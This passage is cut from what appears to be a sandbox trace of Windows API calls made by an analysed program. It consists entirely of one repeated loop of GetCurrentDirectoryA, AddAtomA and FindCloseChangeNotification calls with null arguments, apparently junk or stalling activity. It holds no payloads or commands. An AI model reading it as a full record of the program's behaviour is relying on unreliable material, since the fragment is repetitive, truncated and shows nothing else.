lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] AddAtomA (lpString=0x0) returned 0x0 [0054.470] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.470] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.471] AddAtomA (lpString=0x0) returned 0x0 [0054.471] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.471] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.472] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.472] AddAtomA (lpString=0x0) returned 0x0 [0054.472] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.473] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.473] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.473] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.474] AddAtomA (lpString=0x0) returned 0x0 [0054.474] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.474] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.475] AddAtomA (lpString=0x0) returned 0x0 [0054.475] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.475] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.476] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.476] AddAtomA (lpString=0x0) returned 0x0 [0054.476] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.477] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.477] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.477] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.478] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.478] AddAtomA (lpString=0x0) returned 0x0 [0054.478] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.479] GetCurrentDirectoryA (in: 